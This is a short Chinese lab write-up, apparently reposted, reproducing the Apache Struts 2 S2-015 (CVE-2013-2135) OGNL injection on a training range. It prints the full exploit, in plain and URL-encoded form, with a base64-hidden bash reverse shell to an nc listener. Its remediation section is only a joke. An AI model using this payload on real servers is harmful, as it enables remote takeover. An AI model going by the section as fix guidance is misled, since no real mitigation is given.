一、漏洞情況分析
2.3.14.3 之前的 Apache Struts 2 允許遠(yuǎn)程攻擊者通過一個(gè)包含“${}”和“%{}”序列的特制值的請求執(zhí)行任意 OGNL 代碼,這會導(dǎo)致 OGNL 代碼被評估兩次。
二、漏洞復(fù)現(xiàn)
春秋云境.com
進(jìn)入靶場
開始復(fù)現(xiàn)
構(gòu)造好payload,彈nc
${#context['xwork.MethodAccessor.denyMethodExecution']=false,#m=#_memberAccess.getClass().getDeclaredField('allowStaticMethodAccess'),#m.setAccessible(true),#m.set(#_memberAccess,true),#q=@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvODA4MCAwPiYx}|{base64,-d}|{bash,-i}').getInputStream()),#q}.action
就構(gòu)造好的payload,url編碼
%24%7B%23context%5B%27xwork.MethodAccessor.denyMethodExecution%27%5D%3Dfalse%2C%23m%3D%23_memberAccess.getClass().getDeclaredField(%27allowStaticMethodAccess%27)%2C%23m.setAccessible(true)%2C%23m.set(%23_memberAccess%2Ctrue)%2C%23q%3D%40org.apache.commons.io.IOUtils%40toString(%40java.lang.Runtime%40getRuntime().exec(%27bash%20-c%20%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMjcuMC4wLjEvODA4MCAwPiYx%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%27).getInputStream())%2C%23q%7D.action
接入我們的ip后面,同時(shí)本地打開nc監(jiān)聽
文章來源:http://www.zghlxwxcb.cn/news/detail-824382.html
三、漏洞處置建議?
把靶場關(guān)了,跟漏洞說“白白吧文章來源地址http://www.zghlxwxcb.cn/news/detail-824382.html
到了這里,關(guān)于[漏洞復(fù)現(xiàn)]Apache Struts2/S2-015 (CVE-2013-2135)的文章就介紹完了。如果您還想了解更多內(nèi)容,請?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!